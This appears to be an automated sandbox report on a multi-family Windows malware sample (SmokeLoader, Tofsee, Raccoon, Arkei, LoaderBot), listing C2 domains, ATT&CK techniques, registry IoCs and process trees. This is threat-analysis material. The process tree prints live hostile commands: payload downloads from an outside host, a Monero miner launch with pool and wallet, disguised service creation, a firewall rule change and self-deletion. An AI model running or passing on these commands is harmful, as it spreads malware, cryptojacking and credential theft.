arkei | 4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c

Analysis

max time kernel
138s
max time network
152s
platform
windows10_x64
resource
win10-en-20211208
submitted
09/01/2022, 18:04

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General

Target

4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
Size

290KB
MD5

0871119792a92dc52c023a389c303908
SHA1

33dc1500a14b1019cd253a74d93fbfa4aff6e9ba
SHA256

4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c
SHA512

c5dd093ec102e8f35b991fb6bb9c9fbeb52e3ad878f6e3f327dd1a3f2b814610fb23fed601015edf261ab9e89b24a4fde670002518e4e6dc8fca4d4a847a07e8

Score

10^/10

arkei loaderbot raccoon smokeloader tofsee backdoor collection discovery evasion loader miner persistence spyware stealer trojan upx

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

tofsee

patmushta.info

parubey.info

Extracted

Family

raccoon

Version

1.8.4-hotfixs

rc4.plain

Signatures

Arkei
Arkei is an infostealer written in C++.
stealer arkei
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2348 created 2824	2348	WerFault.exe	97

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Arkei Stealer Payload 7 IoCs

stealer

resource	yara_rule
behavioral1/memory/1040-140-0x0000000000400000-0x0000000002B86000-memory.dmp	family_arkei
behavioral1/memory/1040-141-0x0000000002C00000-0x0000000002C1C000-memory.dmp	family_arkei
behavioral1/memory/1932-182-0x0000000004F40000-0x0000000005546000-memory.dmp	family_arkei
behavioral1/memory/2736-213-0x0000000000E80000-0x000000000123F000-memory.dmp	family_arkei
behavioral1/memory/2736-215-0x0000000000E80000-0x000000000123F000-memory.dmp	family_arkei
behavioral1/memory/2736-216-0x0000000000E80000-0x000000000123F000-memory.dmp	family_arkei
behavioral1/memory/2736-217-0x0000000000E80000-0x000000000123F000-memory.dmp	family_arkei

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

LoaderBot executable 1 IoCs

resource	yara_rule
behavioral1/memory/4052-317-0x0000000001150000-0x00000000015AB000-memory.dmp	loaderbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
153	3056	WScript.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 22 IoCs

pid	Process
4064	FE56.exe
3120	FE56.exe
2832	1C01.exe
1040	3BDE.exe
908	4833.exe
2392	5208.exe
1936	zgxgugzq.exe
1932	5208.exe
2736	C322.exe
2824	DBDB.exe
1276	FD5E.exe
2476	1A1F.exe
2176	2F4E.exe
1124	extd.exe
1932	extd.exe
1056	setup1.exe
3020	extd.exe
808	setup2.exe
684	extd.exe
4052	setup3.exe
1336	extd.exe
1532	Driver.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001ab57-279.dat	upx
behavioral1/files/0x000500000001ab57-280.dat	upx
behavioral1/files/0x000500000001ab57-284.dat	upx
behavioral1/files/0x000500000001ab57-294.dat	upx
behavioral1/files/0x000500000001ab57-300.dat	upx
behavioral1/files/0x000500000001ab57-316.dat	upx

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C322.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C322.exe

Deletes itself 1 IoCs

pid	Process
3004	Process not Found

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	setup3.exe

Loads dropped DLL 3 IoCs

pid	Process
2736	C322.exe
2736	C322.exe
2736	C322.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\setup3.exe"	setup3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Steam = "C:\\Users\\Admin\\AppData\\Roaming\\NVIDIA\\dllhost.exe"	setup2.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	C322.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
2736	C322.exe
2736	C322.exe
2476	1A1F.exe
808	setup2.exe
4052	setup3.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2504 set thread context of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 4064 set thread context of 3120	4064	FE56.exe	71
PID 2392 set thread context of 1932	2392	5208.exe	86
PID 1936 set thread context of 3024	1936	zgxgugzq.exe	90

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2348	2824	WerFault.exe	97
1016	1056	WerFault.exe	111

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FE56.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FE56.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	FE56.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1C01.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1C01.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	1C01.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C322.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	C322.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3568	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000_Classes\Local Settings	cmd.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	153	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2744	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
2744	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3004	Process not Found

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2744	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
3120	FE56.exe
2832	1C01.exe
3004	Process not Found
3004	Process not Found
3004	Process not Found
3004	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	2392	5208.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	1932	5208.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeDebugPrivilege	1276	FD5E.exe
Token: SeRestorePrivilege	2348	WerFault.exe
Token: SeBackupPrivilege	2348	WerFault.exe
Token: SeDebugPrivilege	2348	WerFault.exe
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found
Token: SeShutdownPrivilege	3004	Process not Found
Token: SeCreatePagefilePrivilege	3004	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 2504 wrote to memory of 2744	2504	4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe	68
PID 3004 wrote to memory of 4064	3004	Process not Found	70
PID 3004 wrote to memory of 4064	3004	Process not Found	70
PID 3004 wrote to memory of 4064	3004	Process not Found	70
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 4064 wrote to memory of 3120	4064	FE56.exe	71
PID 3004 wrote to memory of 2832	3004	Process not Found	72
PID 3004 wrote to memory of 2832	3004	Process not Found	72
PID 3004 wrote to memory of 2832	3004	Process not Found	72
PID 3004 wrote to memory of 1040	3004	Process not Found	73
PID 3004 wrote to memory of 1040	3004	Process not Found	73
PID 3004 wrote to memory of 1040	3004	Process not Found	73
PID 3004 wrote to memory of 908	3004	Process not Found	74
PID 3004 wrote to memory of 908	3004	Process not Found	74
PID 3004 wrote to memory of 908	3004	Process not Found	74
PID 3004 wrote to memory of 2392	3004	Process not Found	75
PID 3004 wrote to memory of 2392	3004	Process not Found	75
PID 3004 wrote to memory of 2392	3004	Process not Found	75
PID 908 wrote to memory of 644	908	4833.exe	76
PID 908 wrote to memory of 644	908	4833.exe	76
PID 908 wrote to memory of 644	908	4833.exe	76
PID 908 wrote to memory of 3380	908	4833.exe	78
PID 908 wrote to memory of 3380	908	4833.exe	78
PID 908 wrote to memory of 3380	908	4833.exe	78
PID 908 wrote to memory of 4052	908	4833.exe	81
PID 908 wrote to memory of 4052	908	4833.exe	81
PID 908 wrote to memory of 4052	908	4833.exe	81
PID 908 wrote to memory of 1000	908	4833.exe	82
PID 908 wrote to memory of 1000	908	4833.exe	82
PID 908 wrote to memory of 1000	908	4833.exe	82
PID 908 wrote to memory of 1840	908	4833.exe	84
PID 908 wrote to memory of 1840	908	4833.exe	84
PID 908 wrote to memory of 1840	908	4833.exe	84
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 908 wrote to memory of 2152	908	4833.exe	88
PID 908 wrote to memory of 2152	908	4833.exe	88
PID 908 wrote to memory of 2152	908	4833.exe	88
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 2392 wrote to memory of 1932	2392	5208.exe	86
PID 1936 wrote to memory of 3024	1936	zgxgugzq.exe	90
PID 1936 wrote to memory of 3024	1936	zgxgugzq.exe	90
PID 1936 wrote to memory of 3024	1936	zgxgugzq.exe	90
PID 1936 wrote to memory of 3024	1936	zgxgugzq.exe	90
PID 1936 wrote to memory of 3024	1936	zgxgugzq.exe	90
PID 3004 wrote to memory of 1028	3004	Process not Found	92
PID 3004 wrote to memory of 1028	3004	Process not Found	92
PID 3004 wrote to memory of 1028	3004	Process not Found	92
PID 3004 wrote to memory of 1028	3004	Process not Found	92
PID 3004 wrote to memory of 2548	3004	Process not Found	93
PID 3004 wrote to memory of 2548	3004	Process not Found	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
"C:\Users\Admin\AppData\Local\Temp\4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Users\Admin\AppData\Local\Temp\4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe
  "C:\Users\Admin\AppData\Local\Temp\4d12e6e7065174e07cf09a4cc856b3646ff0a5afadff94e364559042f078f16c.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2744

C:\Users\Admin\AppData\Local\Temp\FE56.exe
C:\Users\Admin\AppData\Local\Temp\FE56.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Users\Admin\AppData\Local\Temp\FE56.exe
  C:\Users\Admin\AppData\Local\Temp\FE56.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3120

C:\Users\Admin\AppData\Local\Temp\1C01.exe
C:\Users\Admin\AppData\Local\Temp\1C01.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2832

C:\Users\Admin\AppData\Local\Temp\3BDE.exe
C:\Users\Admin\AppData\Local\Temp\3BDE.exe
1⤵
- Executes dropped EXE
PID:1040

C:\Users\Admin\AppData\Local\Temp\4833.exe
C:\Users\Admin\AppData\Local\Temp\4833.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kjsqovnj\
  2⤵
  PID:644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zgxgugzq.exe" C:\Windows\SysWOW64\kjsqovnj\
  2⤵
  PID:3380
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create kjsqovnj binPath= "C:\Windows\SysWOW64\kjsqovnj\zgxgugzq.exe /d\"C:\Users\Admin\AppData\Local\Temp\4833.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:4052
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description kjsqovnj "wifi internet conection"
  2⤵
  PID:1000
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start kjsqovnj
  2⤵
  PID:1840
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:2152

C:\Users\Admin\AppData\Local\Temp\5208.exe
C:\Users\Admin\AppData\Local\Temp\5208.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Users\Admin\AppData\Local\Temp\5208.exe
  C:\Users\Admin\AppData\Local\Temp\5208.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1932

C:\Windows\SysWOW64\kjsqovnj\zgxgugzq.exe
C:\Windows\SysWOW64\kjsqovnj\zgxgugzq.exe /d"C:\Users\Admin\AppData\Local\Temp\4833.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:3024

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:1028

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2548

C:\Users\Admin\AppData\Local\Temp\C322.exe
C:\Users\Admin\AppData\Local\Temp\C322.exe
1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:2736
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C322.exe" & exit
  2⤵
  PID:644
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3568

C:\Users\Admin\AppData\Local\Temp\DBDB.exe
C:\Users\Admin\AppData\Local\Temp\DBDB.exe
1⤵
- Executes dropped EXE
PID:2824
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 848
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:2348

C:\Users\Admin\AppData\Local\Temp\FD5E.exe
C:\Users\Admin\AppData\Local\Temp\FD5E.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1276

C:\Users\Admin\AppData\Local\Temp\1A1F.exe
C:\Users\Admin\AppData\Local\Temp\1A1F.exe
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2476

C:\Users\Admin\AppData\Local\Temp\2F4E.exe
C:\Users\Admin\AppData\Local\Temp\2F4E.exe
1⤵
- Executes dropped EXE
PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\2FF2.bat C:\Users\Admin\AppData\Local\Temp\2F4E.exe"
  2⤵
  - Modifies registry class
  PID:1704
- - C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1124
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31951\123.vbs"
    3⤵
    - Blocklisted process makes network request
    PID:3056
- - C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe "/download" "http://a0617224.xsph.ru/1.exe" "setup1.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1932
- - C:\Users\Admin\AppData\Local\Temp\31951\setup1.exe
    setup1.exe
    3⤵
    - Executes dropped EXE
    PID:1056
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1056 -s 412
      4⤵
      Program crash
      PID:1016
- - C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe "/download" "http://a0617224.xsph.ru/2.exe" "setup2.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:3020
- - C:\Users\Admin\AppData\Local\Temp\31951\setup2.exe
    setup2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:808
- - C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe "/download" "http://a0617224.xsph.ru/3.exe" "setup3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:684
- - C:\Users\Admin\AppData\Local\Temp\31951\setup3.exe
    setup3.exe
    3⤵
    - Executes dropped EXE
    - Drops startup file
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:4052
  - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
      4⤵
      Executes dropped EXE
      PID:1532
- - C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\2FF0.tmp\2FF1.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    PID:1336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/808-310-0x0000000076C20000-0x00000000771A4000-memory.dmp

Filesize
5.5MB

Download
memory/808-301-0x0000000000050000-0x0000000000051000-memory.dmp

Filesize
4KB

Download
memory/808-309-0x0000000071760000-0x00000000717E0000-memory.dmp

Filesize
512KB

Download
memory/808-302-0x00000000013E0000-0x0000000001442000-memory.dmp

Filesize
392KB

Download
memory/808-306-0x0000000075B20000-0x0000000075C11000-memory.dmp

Filesize
964KB

Download
memory/808-311-0x0000000073DF0000-0x0000000075138000-memory.dmp

Filesize
19.3MB

Download
memory/808-303-0x00000000769D0000-0x0000000076B92000-memory.dmp

Filesize
1.8MB

Download
memory/908-153-0x0000000000400000-0x0000000002B83000-memory.dmp

Filesize
39.5MB

Download
memory/908-152-0x0000000004780000-0x0000000004793000-memory.dmp

Filesize
76KB

Download
memory/908-151-0x00000000001E0000-0x00000000001ED000-memory.dmp

